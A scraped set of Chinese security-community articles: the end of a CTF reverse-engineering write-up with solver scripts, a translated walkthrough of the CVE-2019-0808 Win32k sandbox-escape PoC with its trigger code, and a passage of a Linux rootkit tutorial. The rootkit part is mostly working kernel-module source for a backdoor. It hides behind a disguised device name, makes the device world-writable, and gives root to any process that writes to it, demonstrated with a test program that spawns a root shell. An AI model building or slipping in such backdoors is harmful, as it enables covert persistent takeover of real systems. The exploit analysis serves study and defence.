if ( dbl_4020[i / 2] != sub_13F3(*(unsigned __int16 *)&s[i]) )
goto LABEL_2;
}
puts("correct");
result = 0LL;
}
else
{
LABEL_2:
puts("wrong");
result = 0LL;
}
return result;
}
main函数把flag每两字节转换为一个整数`n`，计算`sub_13F3(n)`，然后与目标常量作比较。
注意到 的值随 `n`增大是递减的，在保证定积分的计算精度的前提下，对每个目标常量二分查找`n`即可
（计算方法参考：<https://blog.csdn.net/Dennis_BIRL/article/details/53350414>）
from math import e
def p16(n):
return n.to_bytes(2, "little")
global_cache = [None]*0x10000
v = 0.00004147642328261315 # n=0x10000
for i in range(0x10000, 0, -1):
lastv = v
v = (e-v)/i
assert v > lastv
global_cache[i-1] = v
def calc(n):
global global_cache
assert n < 0x10000
if global_cache[n]:
return global_cache[n]
assert 0
def bsearch(d):
a = 0x2020
fa = calc(a)
b = 0x7f7f
fb = calc(b)
while True:
mid = (a+b)//2
assert a <= mid <= b
if mid == a:
assert fa >= d >= fb
return a if fa-d < d-fb else b
fmid = calc(mid)
assert fa >= fmid >= fb
if fmid > d:
a = mid
fa = fmid
else:
b = mid
fb = fmid
# dbl_4020
numbers = [
0.00009794904266317233, 0.00010270456917442, 0.00009194256152777895,
0.0001090322021913372, 0.0001112636336217534, 0.0001007442677411854,
0.0001112636336217534, 0.0001047063607908828, 0.0001112818534005219,
0.0001046861985862495, 0.0001112818534005219, 0.000108992856167966,
0.0001112636336217534, 0.0001090234561758122, 0.0001113183108652088,
0.0001006882924839248, 0.0001112590796092291, 0.0001089841164633298,
0.00008468431512187874
]
finalnums = [bsearch(d) for d in numbers]
flag = b""
for n in finalnums:
flag += p16(n)
print(flag) # flag{saam_dim_gei_lei_jam_caa_sin_laa}
（正确的flag输入给程序却返回wrong，作为逆向题不该这样吧2333）
* * *
## 赛后分析1
看到其他队的writeup，直接用e除以最终比较的数就能直接得到flag……（这就是这题做出人数这么多的原因吗？）
尝试推导一波：
在 时有
同时乘得：
计算定积分：
记
则有
所以可以直接用e除以最终比较的数得出flag
from math import e
def p16(n):
return n.to_bytes(2, "little")
# dbl_4020
numbers = [
0.00009794904266317233, 0.00010270456917442, 0.00009194256152777895,
0.0001090322021913372, 0.0001112636336217534, 0.0001007442677411854,
0.0001112636336217534, 0.0001047063607908828, 0.0001112818534005219,
0.0001046861985862495, 0.0001112818534005219, 0.000108992856167966,
0.0001112636336217534, 0.0001090234561758122, 0.0001113183108652088,
0.0001006882924839248, 0.0001112590796092291, 0.0001089841164633298,
0.00008468431512187874
]
finalnums = [int(e/n)-1 for n in numbers]
flag = b""
for n in finalnums:
flag += p16(n)
print(flag)
* * *
## 赛后分析2
即使没有init_array的提示，单纯根据`sub_13F3`的递推式也是可以得到积分式的
已知
两边同时除以 ：
迭代下去，得出通项公式：
考虑 带积分余项的展开式：
代入 ：
代入到通项公式中： | 社区文章 |
# Windows版“碟中谍”：如何利用Win32k漏洞实现Chrome沙盒逃逸（上）
|
##### 译文声明
本文是翻译文章，文章原作者 exodusintel，文章来源：blog.exodusintel.com
原文地址：<http://blog.exodusintel.com/2019/05/17/windows-within-windows/>
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
在这篇文章中，我们将深入分析近期修复的一个Win32k漏洞（CVE-2019-0808），因为此前有很多网络犯罪分子会利用该漏洞并结合漏洞CVE-2019-5786来组成完整的Google
Chrome沙盒逃逸攻击链。
漏洞CVE-2019-0808是一个空指针引用漏洞，该漏洞存在于为win32k.sys文件中，该漏洞将允许攻击者实现Chrome沙盒逃逸，并在目标系统中以SYSTEM用户权限执行任意代码，受该漏洞影响的操作系统版本有Windows
7和Windows Server 2018。
## Chrome沙盒
在开始之前，我们先简单看一看Chrome沙盒是如何工作的。不过我们还是先回顾一下什么是“沙盒”！沙盒，又叫沙箱，它是一种按照安全策略限制程序行为的执行环境，即一个虚拟系统程序。它允许用户在沙盒环境中运行浏览器或其他程序，因此运行所产生的变化可以根据用户需要来删除。它创造了一个类似沙盒的独立作业环境，在其内部运行的程序并不能对硬盘产生永久性的影响。做为一个独立的虚拟环境，很多研究人员会使用沙盒来测试不受信任的应用程序或上网行为。
而Google的Chrome浏览器使用了沙盒机制来保护自身以及用户的安全，即使远程攻击者获取到了代码执行权限，他们也无法触及到目标系统的其他部分。Chrome的沙盒系统有两层沙盒，第一层沙盒可以通过改变用户ID并利用chroot来限制（非法）用户对目标设备中资源的访问，第二层沙盒会尝试使用seccomp过滤器来限制攻击者针对内核的攻击行为，以阻止沙盒进程中出现不需要使用到的系统调用。一般情况下来说，这种机制是非常有效的，因为大多数Linux内核漏洞都需要涉及到系统调用，而seccomp过滤器的作用就体现出来了。但是，seccomp过滤器也不是所有系统调用都可以屏蔽或者过滤的，因此这也给很多想法“新颖”的攻击者提供了可乘之机。也就是说，攻击者仍然可以想办法通过攻击目标系统内核来实现Chrome沙盒逃逸。
## PoC分析
漏洞利用PoC（由ze0r提供）：<https://github.com/ze0r/cve-2019-0808-poc/>
首先，我们一起分析一下这份PoC代码。PoC代码首先要做的就是创建两个无模式拖放弹出菜单，即hMenuRoot和hMenuSub。hMenuRoot会被设置为主下拉菜单，并将hMenuSub设置为其子菜单。
`HMENU hMenuRoot = CreatePopupMenu();
HMENU hMenuSub = CreatePopupMenu();
...
MENUINFO mi = { 0 };
mi.cbSize = sizeof(MENUINFO);
mi.fMask = MIM_STYLE;
mi.dwStyle = MNS_MODELESS | MNS_DRAGDROP;
SetMenuInfo(hMenuRoot, &mi);
SetMenuInfo(hMenuSub, &mi);
AppendMenuA(hMenuRoot, MF_BYPOSITION | MF_POPUP, (UINT_PTR)hMenuSub, "Root");
AppendMenuA(hMenuSub, MF_BYPOSITION | MF_POPUP, 0, "Sub");`
接下来，代码会使用SetWindowsHookEx()来在当前线程中设置一个钩子，即WH_CALLWNDPROC。这个钩子可以确保WindowHookProc()在一个窗口进程运行前执行。完成后，代码会调用SetWinEventHook()来设置一个事件钩子，并确保在弹出菜单显示出来时调用DisplayEventProc()。
`SetWindowsHookEx(WH_CALLWNDPROC, (HOOKPROC)WindowHookProc, hInst,
GetCurrentThreadId());
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART,
EVENT_SYSTEM_MENUPOPUPSTART,hInst,DisplayEventProc,GetCurrentProcessId(),GetCurrentThreadId(),0);`
下图显示的是设置WH_CALLWNDPROC钩子之前和之后的Windows消息调用流程：
钩子设置完后，代码会使用CreateWindowA()和类字符串“#32768”来创建hWndFakeMenu窗口。以这种方式创建窗口会导致CreateWindowA()在窗口对象中设置多个值为0或NULL的数据域，因为CreateWindowA()并不知道如何去填充这些数据。其中，跟漏洞利用有关的重要数据域为spMenu域，它也会被设置为NULL。
`hWndFakeMenu = CreateWindowA("#32768", "MN", WS_DISABLED, 0, 0, 1, 1,
nullptr, nullptr, hInst, nullptr);`
接下来，代码会使用CreateWindowA()和窗口类wndClass来创建hWndMain。这将会给hWndMain的窗口进程设置DefWindowProc()，而这个函数是一个Windows
API，主要负责处理窗口无法处理的那些窗口消息。
CreateWindowA()的参数还可以确保hWndMain在“禁用模式”下被创建，并且不会从终端用户那里接收任何的键盘或鼠标输入，但是仍然可以从其他窗口、系统或应用程序来接收窗口消息，这样可以防止用户与窗口进行意外交互。CreateWindowA()的最后一个参数可以确保窗口位置固定在(0x1,
0x1)，具体如下列代码所示：
WNDCLASSEXA wndClass = { 0 };
wndClass.cbSize = sizeof(WNDCLASSEXA);
wndClass.lpfnWndProc = DefWindowProc;
wndClass.cbClsExtra = 0;
wndClass.cbWndExtra = 0;
wndClass.hInstance = hInst;
wndClass.lpszMenuName = 0;
wndClass.lpszClassName = “WNDCLASSMAIN”;
RegisterClassExA(&wndClass);
hWndMain = CreateWindowA(“WNDCLASSMAIN”, “CVE”, WS_DISABLED, 0, 0, 1, 1, nullptr, nullptr, hInst, nullptr);
TrackPopupMenuEx(hMenuRoot, 0, 0, 0, hWndMain, NULL);
MSG msg = { 0 };
while (GetMessageW(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessageW(&msg);
if (iMenuCreated >= 1) {
bOnDraging = TRUE;
callNtUserMNDragOverSysCall(&pt, buf);
break;
}
}
hWndMain窗口创建完成后，代码会调用TrackPopupMenuEx()来显示hMenuRoot，目的是为了将窗口消息存储至hWndMain的消息栈中，而main()函数的消息循环可以通过GetMessageW()和TranslateMessage()来直接获取消息栈中的信息，并执行窗口进程钩子，然后调用WindowHookProc()：BOOL
bOnDraging = FALSE;
….
LRESULT CALLBACK WindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
tagCWPSTRUCT cwp = (tagCWPSTRUCT )lParam;
if (!bOnDraging) {
return CallNextHookEx(0, code, wParam, lParam);
}
….
由于变量bOnDraging目前还未设置，WindowHookProc()函数将会直接调用CallNextHookEx()来获取下一个可用的钩子。这将触发一次EVENT_SYSTEM_MENUPOPUPSTART事件，而事件钩子可以捕捉到这个事件，并传递给DisplayEventProc()。UINT
iMenuCreated = 0;
VOID CALLBACK DisplayEventProc(HWINEVENTHOOK hWinEventHook, DWORD event, HWND hwnd, LONG idObject, LONG idChild, DWORD idEventThread, DWORD dwmsEventTime)
{
switch (iMenuCreated)
{
case 0:
SendMessageW(hwnd, WM_LBUTTONDOWN, 0, 0x00050005);
break;
case 1:
SendMessageW(hwnd, WM_MOUSEMOVE, 0, 0x00060006);
break;
}
printf(“[] MSGn”);
iMenuCreated++;
}
由于这是DisplayEventProc()第一次执行，iMenuCreated的值为0，因此代码中的“case
0”将会执行，并通过SendMessageW()将WM_LMOUSEBUTTON窗口消息发送给hWndMain来选择hMenuRoot菜单项(0x5,
0x5)。消息显示在hWndMain的窗口消息队列中之后，iMenuCreated会自增。
hWndMain接下来会处理WM_LMOUSEBUTTON消息，并选择hMenu，最终显示hMenuSub子菜单。接下来会触发第二个EVENT_SYSTEM_MENUPOPUPSTART事件，并再次执行DisplayEventProc()。这一次，iMenuCreated的值变成了1，此时代码会使用SendMessageW()来让鼠标光标移动到桌面的(0x6,
0x6)位置。由于此时的鼠标左键仍处于已点击的状态，所以这样就完成了之前提到的“拖拽”行为。接下来，iMenuCreated又会自增，并在main()中的消息循环中执行下列代码：
CHAR buf[0x100] = { 0 };
POINT pt;
pt.x = 2;
pt.y = 2;
…
if (iMenuCreated >= 1) {
bOnDraging = TRUE;
callNtUserMNDragOverSysCall(&pt, buf);
break;
}
此时iMenuCreated的值已经变成了2，if语句中的代码将会被执行，并将bOnDraging设置为TRUE，表明拖拽操作已由鼠标完成，然后用POINT结构体pt来调用callNtUserMNDragOverSysCall()。
callNtUserMNDragOverSysCall()是win32k.sys中一个针对系统调用函数NtUserMNDragOver()的封装函数，在Windows
7和Windows 7
SP1中NtUserMNDragOver()的系统调用号为0x11ED。在PoC中，使用了系统调用来从user32.dll中获取NtUserMNDragOver()的地址（因为不同操作系统版本的系统调用号不同），每当user32.dll更新，user32.dll中的导出函数和NtUserMNDragOver()函数都会改变。
void callNtUserMNDragOverSysCall(LPVOID address1, LPVOID address2) {
_asm {
mov eax, 0x11ED
push address2
push address1
mov edx, esp
int 0x2E
pop eax
pop eax
}
}
接下来，NtUserMNDragOver()会调用xxxMNFindWindowFromPoint()，并执行xxxSendMessage()来发送一个类型为WM_MN_FINDMENUWINDOWFROMPOINT的用户模式回调。用户模式回调的返回值会使用HMValidateHandle()来检测。
LONG_PTR __stdcall xxxMNFindWindowFromPoint(tagPOPUPMENU pPopupMenu, UINT pIndex, POINTS screenPt)
{
….
v6 = xxxSendMessage(
var_pPopupMenu->spwndNextPopup,
MN_FINDMENUWINDOWFROMPOINT,
(WPARAM)&pPopupMenu,
(unsigned __int16)screenPt.x | ((unsigned int )&screenPt >> 16 << 16)); // Make the
// MN_FINDMENUWINDOWFROMPOINT usermode callback
// using the address of pPopupMenu as the
// wParam argument.
ThreadUnlock1();
if ( IsMFMWFPWindow(v6) ) // Validate the handle returned from the user
// mode callback is a handle to a MFMWFP window.
v6 = (LONG_PTR)HMValidateHandleNoSecure((HANDLE)v6, TYPE_WINDOW); // Validate that the returned
// handle is a handle to
// a window object. Set v1 to
// TRUE if all is good.
…
回调执行后，窗口钩子函数WindowHookProc()将会执行。这个函数会判断当前接收到的窗口消息类型，如果收到的窗口消息为WM_MN_FINDMENUWINDOWFROMPOINT消息，那么下列代码将会执行：
if ((cwp->message == WM_MN_FINDMENUWINDOWFROMPOINT))
{
bIsDefWndProc = FALSE;
printf(“[] HWND: %p n”, cwp->hwnd);
SetWindowLongPtr(cwp->hwnd, GWLP_WNDPROC, (ULONG64)SubMenuProc);
}
return CallNextHookEx(0, code, wParam, lParam);
这段代码将会修改hWndMain的窗口处理进程，从原来的DefWindowProc()修改为SubMenuProc()。它还会将bIsDefWndProc设置为FALSE，表明hWndMain的窗口处理进程已不再是DefWindowProc()了。
钩子设置好之后，hWndMain的窗口进程将会执行。但是，由于hWndMain的窗口进程修改为了SubMenuProc()，因此执行的将是SubMenuProc()函数，而非原来的DefWindowProc()。
SubMenuProc()首先会检测接收到的消息类型是否为WM_MN_FINDMENUWINDOWFROMPOINT。如果是，SubMenuProc()会调用SetWindowLongPtr()来将hWndMain的窗口进程重新设置为DefWindowProc()，这样hWndMain就可以处理其他额外传入的窗口消息了，也可以防止应用程序无法响应。接下来，SubMenuProc()将会返回hWndFakeMenu，或处理那些使用菜单类字符串创建的窗口。
LRESULT WINAPI SubMenuProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
if (msg == WM_MN_FINDMENUWINDOWFROMPOINT)
{
SetWindowLongPtr(hwnd, GWLP_WNDPROC, (ULONG)DefWindowProc);
return (ULONG)hWndFakeMenu;
}
return DefWindowProc(hwnd, msg, wParam, lParam);
}
由于hWndFakeMenu是一个有效窗口，在对其进行处理时将会调用HMValidateHandle()检测，但很多窗口元素都被设置成了0或NULL，因为CreateWindowEx()会尝试使用无效信息来创建菜单窗口。代码接下来会运行xxxMNFindWindowFromPoint()和xxxMNUpdateDraggingInfo()，调用MNGetpItem()，然后调用MNGetpItemFromIndex()。
接下来，MNGetpItemFromIndex()会尝试访问hWndFakeMenu的spMenu域。但是hWndFakeMenu的spMenu值为NULL，这样就导致了一个空指针引用，如果NULL页面无法正常分配，就会发生内核崩溃。
tagITEM __stdcall MNGetpItemFromIndex(tagMENU spMenu, UINT pPopupMenu)
{
tagITEM result; // eax
if ( pPopupMenu == -1 || pPopupMenu >= spMenu->cItems ){ // NULL pointer dereference will occur
// here if spMenu is NULL.
result = 0;
else
result = (tagITEM )spMenu->rgItems + 0x6C * pPopupMenu;
return result;
}
## 总结
在这篇文章中，我们详细分析了针对漏洞CVE-2019-0808的漏洞利用PoC代码。文中给出了PoC代码的获取地址，并对其中的关键代码段进行了详细分析，以及漏洞利用关键点，那么在《Windows版“碟中谍”：如何利用Win32k漏洞实现Chrome沙盒逃逸（下）》中，我们将跟大家详细介绍如何利用这个Chrome沙盒漏洞，并详细介绍漏洞利用过程中的每一个步骤，敬请关注安全客。 | 社区文章 |
# 简易 Linux Rootkit 编写入门指北（一）：模块隐藏与进程提权
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00.概述
「Rootkit」即「root
kit」，直译为中文便是「根权限工具包」的意思，在今天的语境下更多指的是一种被作为驱动程序、加载到操作系统内核中的恶意软件，这一类恶意软件的主要用途便是「驻留在计算机上提供
root 后门」——当攻击者再次拿到某个服务器的 shell 时可以通过 rootkit 快速提权到 root
Linux 下的 rootkit 主要以「可装载内核模块」（LKM）的形式存在，作为内核的一部分 **直接以 ring0 权限向入侵者提供服务**
；当攻击者拿到某台计算机的 shell 并通过相应的漏洞提权到 root 之后便可以在计算机中留下 rootkit，以 **为攻击者后续入侵行为提供驻留的
root 后门**
但是作为内核的一部分， **LKM 编程在一定意义上便是内核编程，与内核版本密切相关，只有使用相应版本内核源码进行编译的 LKM 才可以装载到对应版本的
kernel 上** ，这使得 Linux rootkit
显得有些鸡肋（例如服务器管理员某天升级内核版本你就被扬了），且不似蠕虫病毒那般可以在服务期间肆意传播，但不可否认的是 rootkit 仍是当前 Linux
下较为主流的 root 后门驻留技术之一
本篇文章仅为最基础的 rootkit 编写入门指南，若是需要成熟可用的 rootkit 可以参见 [f0rb1dd3n/Reptile: LKM Linux
rootkit (github.com)](https://github.com/f0rb1dd3n/Reptile)
本篇引用的内核源码来自于 Linux 内核版本 `5.11`
> Linux 下尝试装载不同版本的 LKM 会显示如下错误信息：
>
>
> insmod: ERROR: could not insert module hellokernel.ko: Invalid module
> format
>
## 0x01. 最简单的 LKM
> 这里不会叙述太多 Linux 内核编程相关的知识，主要以 rootkit 编写所会用到的一些技术为主
>
> 基本的 LKM 编写入门见[这里](https://arttnba3.cn/2021/02/21/NOTE-0X02-LINUX-KERNEL-PWN-> PART-I/#%E4%BA%94%E3%80%81%E7%BC%96%E5%86%99%E5%8F%AF%E8%A3%85%E8%BD%BD%E5%86%85%E6%A0%B8%E6%A8%A1%E5%9D%97%EF%BC%88LKMs%EF%BC%89)
以下给出了一个最基础的 LKM 模板，注册了一个字符型设备作为后续使用的接口
> rootkit.c
/*
* rootkit.ko
* developed by arttnba3
*/
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/fs.h>
#include <linux/device.h>
#include "functions.c"
static int __init rootkit_init(void)
{
// register device
major_num = register_chrdev(0, DEVICE_NAME, &a3_rootkit_fo); // major number 0 for allocated by kernel
if(major_num < 0)
return major_num; // failed
// create device class
module_class = class_create(THIS_MODULE, CLASS_NAME);
if(IS_ERR(module_class))
{
unregister_chrdev(major_num, DEVICE_NAME);
return PTR_ERR(module_class);
}
// create device inode
module_device = device_create(module_class, NULL, MKDEV(major_num, 0), NULL, DEVICE_NAME);
if(IS_ERR(module_device)) // failed
{
class_destroy(module_class);
unregister_chrdev(major_num, DEVICE_NAME);
return PTR_ERR(module_device);
}
__file = filp_open(DEVICE_PATH, O_RDONLY, 0);
if (IS_ERR(__file)) // failed
{
device_destroy(module_class, MKDEV(major_num, 0));
class_destroy(module_class);
unregister_chrdev(major_num, DEVICE_NAME);
return PTR_ERR(__file);
}
__inode = file_inode(__file);
__inode->i_mode |= 0666;
filp_close(__file, NULL);
return 0;
}
static void __exit rootkit_exit(void)
{
device_destroy(module_class, MKDEV(major_num, 0));
class_destroy(module_class);
unregister_chrdev(major_num, DEVICE_NAME);
}
module_init(rootkit_init);
module_exit(rootkit_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("arttnba3");
> functions.c
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/fs.h>
#include <linux/device.h>
#include "rootkit.h"
static int a3_rootkit_open(struct inode * __inode, struct file * __file)
{
return 0;
}
static ssize_t a3_rootkit_read(struct file * __file, char __user * user_buf, size_t size, loff_t * __loff)
{
return 0;
}
static ssize_t a3_rootkit_write(struct file * __file, const char __user * user_buf, size_t size, loff_t * __loff)
{
return 0;
}
static int a3_rootkit_release(struct inode * __inode, struct file * __file)
{
printk(KERN_INFO "get info");
return 0;
}
static long a3_rootkit_ioctl(struct file * __file, unsigned int cmd, unsigned long param)
{
return 0;
}
> rootkit.h
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/fs.h>
#include <linux/device.h>
// a difficult-to-detect name
#define DEVICE_NAME "intel_rapl_msrdv"
#define CLASS_NAME "intel_rapl_msrmd"
#define DEVICE_PATH "/dev/intel_rapl_msrdv"
static int major_num;
static struct class * module_class = NULL;
static struct device * module_device = NULL;
static struct file * __file = NULL;
struct inode * __inode = NULL;
static int __init rootkit_init(void);
static void __exit rootkit_exit(void);
static int a3_rootkit_open(struct inode *, struct file *);
static ssize_t a3_rootkit_read(struct file *, char __user *, size_t, loff_t *);
static ssize_t a3_rootkit_write(struct file *, const char __user *, size_t, loff_t *);
static int a3_rootkit_release(struct inode *, struct file *);
static long a3_rootkit_ioctl(struct file *, unsigned int, unsigned long);
static struct file_operations a3_rootkit_fo =
{
.owner = THIS_MODULE,
.unlocked_ioctl = a3_rootkit_ioctl,
.open = a3_rootkit_open,
.read = a3_rootkit_read,
.write = a3_rootkit_write,
.release = a3_rootkit_release,
};
> makefile
# Makefile2.6
obj-m += rootkit.o
CURRENT_PATH := $(shell pwd)
LINUX_KERNEL := $(shell uname -r)
LINUX_KERNEL_PATH := /usr/src/linux-headers-$(LINUX_KERNEL)
all:
make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) modules
clean:
make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) clean
我们接下来将以该模块作为蓝本进行修改
## 0x02.进程权限提升
### cred 结构体
对于 Linux 下的每一个进程，在 kernel 中都有着一个结构体 `cred`
用以标识其权限，该结构体定义于内核源码`include/linux/cred.h`中，如下：
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
/* RCU deletion */
union {
int non_rcu; /* Can we skip RCU deletion? */
struct rcu_head rcu; /* RCU deletion hook */
};
} __randomize_layout;
我们主要关注 uid ，一个cred结构体中记载了 **一个进程四种不同的用户ID** ：
* **真实用户ID** （real UID）：标识一个进程 **启动时的用户ID**
* **保存用户ID** （saved UID）：标识一个进程 **最初的有效用户ID**
* **有效用户ID** （effective UID）：标识一个进程 **正在运行时所属的用户ID** ，一个进程在运行途中是可以改变自己所属用户的，因而权限机制也是通过有效用户ID进行认证的
* **文件系统用户ID** （UID for VFS ops）：标识一个进程 **创建文件时进行标识的用户ID**
### 权限提升
> Linux kernel
> 进程权限相关细节不在此赘叙，可以参见[这里](https://arttnba3.cn/2021/02/21/NOTE-0X02-LINUX-> KERNEL-PWN-> PART-I/#%E5%9B%9B%E3%80%81%E8%BF%9B%E7%A8%8B%E6%9D%83%E9%99%90%E7%AE%A1%E7%90%86)
cred 结构体中存储了进程的 effective uid，那么我们不难想到，若是我们直接改写一个进程对应的 cred 结构体，我们便能直接改变其执行权限
而在 Linux 中 `root` 用户的 uid 为 0，若是我们将一个进程的 uid 都改为 0，该进程便获得了 root 权限
**方法I.调用commit_creds(prepare_kernel_cred(NULL))**
> pwn 选手应该都挺熟悉这个hhhh
在内核空间有如下两个函数，都位于`kernel/cred.c`中：
* `struct cred* prepare_kernel_cred(struct task_struct* daemon)`：该函数用以拷贝一个进程的cred结构体，并返回一个新的cred结构体，需要注意的是`daemon`参数应为 **有效的进程描述符地址或NULL**
* `int commit_creds(struct cred *new)`：该函数用以将一个新的`cred`结构体应用到进程
查看`prepare_kernel_cred()`函数源码，观察到如下逻辑：
struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
const struct cred *old;
struct cred *new;
new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;
kdebug("prepare_kernel_cred() alloc %p", new);
if (daemon)
old = get_task_cred(daemon);
else
old = get_cred(&init_cred);
...
在`prepare_kernel_cred()`函数中，若传入的参数为NULL，则会缺省使用`init`进程的`cred`作为模板进行拷贝，
**即可以直接获得一个标识着root权限的cred结构体**
那么我们不难想到，只要我们能够在内核空间执行`commit_creds(prepare_kernel_cred(NULL))`，那么就能够将进程的权限提升到`root`
我们来简单测试一下：修改 write 函数，在用户向设备写入时将其提权到 root：
static ssize_t a3_rootkit_write(struct file * __file, const char __user * user_buf, size_t size, loff_t * __loff)
{
commit_creds(prepare_kernel_cred(NULL));
return 0;
}
测试例程：
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
int main(void)
{
int fd = open("/dev/intel_rapl_msrdv", O_RDWR);
write(fd, "aaaa", 4);
sleep(2);
system("/bin/sh");
}
简单测试一下，可以看到当我们的进程写入设备之后便提权到了 root
**方法II.直接修改 cred 结构体**
前面我们讲到，`prepare_kernel_cred()` 函数用以将一个新的 cred 应用到当前进程，我们来观察其源码相应逻辑：
int commit_creds(struct cred *new)
{
struct task_struct *task = current;
const struct cred *old = task->real_cred;
...
在该函数开头直接通过宏 `current` 获取当前进程的 `task_struct`，随后修改的是其成员
`real_cred`，那么我们在内核模块中同样可以直接通过该宏获取当前进程的 task_struct 结构体，从而直接修改其 real_cred 中的
uid 以实现到 root 的提权
那么我们的代码可以修改如下：
static ssize_t a3_rootkit_write(struct file * __file, const char __user * user_buf, size_t size, loff_t * __loff)
{
struct task_struct *task = current;
struct cred *old = task->real_cred;
old->gid = old->sgid = old->egid = KGIDT_INIT(0);
old->uid = old->suid = old->euid = KUIDT_INIT(0);
return 0;
}
这里需要注意的是 uid 与 gid 的类型为封装为结构体的 `kuid_t` 与 `kgid_t` 类型，应当使用宏 `KGIDT_INIT()` 与
`KUIDT_INIT()` 进行赋值
还是使用之前的例程简单测试一下，可以看到当我们的进程写入设备之后便提权到了 root，不同的是我们只修改了几个 uid 和
gid，所以原进程的其他信息依旧会保留，这里也可以选择把其他的一并改掉
**current：CPU 局部变量保存当前进程 task_struct 结构体**
这里 **简单** 讲一下宏 `current` 的是如何获取当前进程的 task_struct 的：该宏定义于内核源码
`arch/x6/include/asm/current.h` 中，展开后为函数 `static __always_inline struct
task_struct *get_current(void)` ，该函数只有一句 `return
this_cpu_read_stable(current_task);`：
其中 `current_task` 为 CPU 局部变量，在头文件开头使用宏 `DECLARE_PER_CPU` 从外部引入该变量，该宏定义于
`include/linux/percpu-defs.h` 中，展开后为 `DECLARE_PER_CPU_SECTION(type, name,
"")`，该宏再度展开为 `extern __PCPU_ATTRS(sec) __typeof__(type) name`，该宏再度展开为
`__percpu __attribute__((section(PER_CPU_BASE_SECTION sec)))
PER_CPU_ATTRIBUTES`，其中宏 `PER_CPU_BASE_SECTION` 定义于 `include/asm-generic/percpu.h`中，SMP（多对称处理）下展开为字符串 `".data..percpu"`。最终展开为
`__attribute__((section(".data..percpu"))) (type) name`，其中 `__attribute__` 宏为
gcc 的特殊机制，具体的参见[手册](https://gcc.gnu.org/onlinedocs/gcc-10.2.0/gcc/Common-Function-Attributes.html#Common-Function-Attributes)
那么我们可以知道该宏最终便是 **外部引用了一个位于 .data..percpu 这一数据段中** 的 task_struct 类型的变量
current_task
接下来看宏 `this_cpu_read_stable`，该宏定义于 `arch/x86/include/asm/percpu.h` 中，展开为
`__pcpu_size_call_return(this_cpu_read_stable_, pcp)`，再度展开为如下：
#define __pcpu_size_call_return(stem, variable) \
({ \
typeof(variable) pscr_ret__; \
__verify_pcpu_ptr(&(variable)); \
switch(sizeof(variable)) { \
case 1: pscr_ret__ = stem##1(variable); break; \
case 2: pscr_ret__ = stem##2(variable); break; \
case 4: pscr_ret__ = stem##4(variable); break; \
case 8: pscr_ret__ = stem##8(variable); break; \
default: \
__bad_size_call_parameter(); break; \
} \
pscr_ret__; \
})
开头先定义了一个变量 `pscr_ret__`，使用 `typeof` （GNU C 扩展关键字）获取 variable 的类型
其中宏 `__verify_pcpu_ptr()` 同样定义于该文件中，如下：
#define __verify_pcpu_ptr(ptr) \
do { \
const void __percpu *__vpp_verify = (typeof((ptr) + 0))NULL; \
(void)__vpp_verify; \
} while (0)
其中 `do...while(0)` 结构为约定熟成的「只执行一次的语句」的宏的书写形式，该宏中定义了一个 void 指针通过强制类型转换获取 NULL
转成 ptr 的类型给到该指针（好像没什么用…？），然后下一句再转为 NULL（空转，没有做任何其他诸如赋值一类的事情，笔者才疏学浅暂时不理解这么做的理由）
接下来根据变量 variable 的 size 进行宏拼接，前面我们传入的 `current_task` 变量为 `struct task_struct
*` 指针类型，这里以 64 位系统为例，最终得到的拼接结果为宏 `this_cpu_read_stable_8`，定义于
`arch/x86/include/asm/percpu.h` 中（绕了一圈又回来了），展开为 `percpu_stable_op(8, "mov",
pcp)`，再度展开为如下形式：
#define percpu_stable_op(size, op, _var) \
({ \
__pcpu_type_##size pfo_val__; \
asm(__pcpu_op2_##size(op, __percpu_arg(P[var]), "%[val]") \
: [val] __pcpu_reg_##size("=", pfo_val__) \
: [var] "p" (&(_var))); \
(typeof(_var))(unsigned long) pfo_val__; \
})
其中 `__pcpu_type_8` 展开为 `u64`，在多个头文件中都有定义，最终展开为`unsigned long long`的 typedef 别名
下一行使用了内联汇编，其中拼接后得到的宏 `__pcpu_op2_8(op, src, dst)` 同样位于这个头文件，展开为 `op "q " src
", " dst`；`__percpu_arg(x)`展开为 `__percpu_prefix "%" #x`， 再展开为
`"%%"__stringify(__percpu_seg)":"`：`__stringify` 展开为 `__stringify_1(x)` 展开为
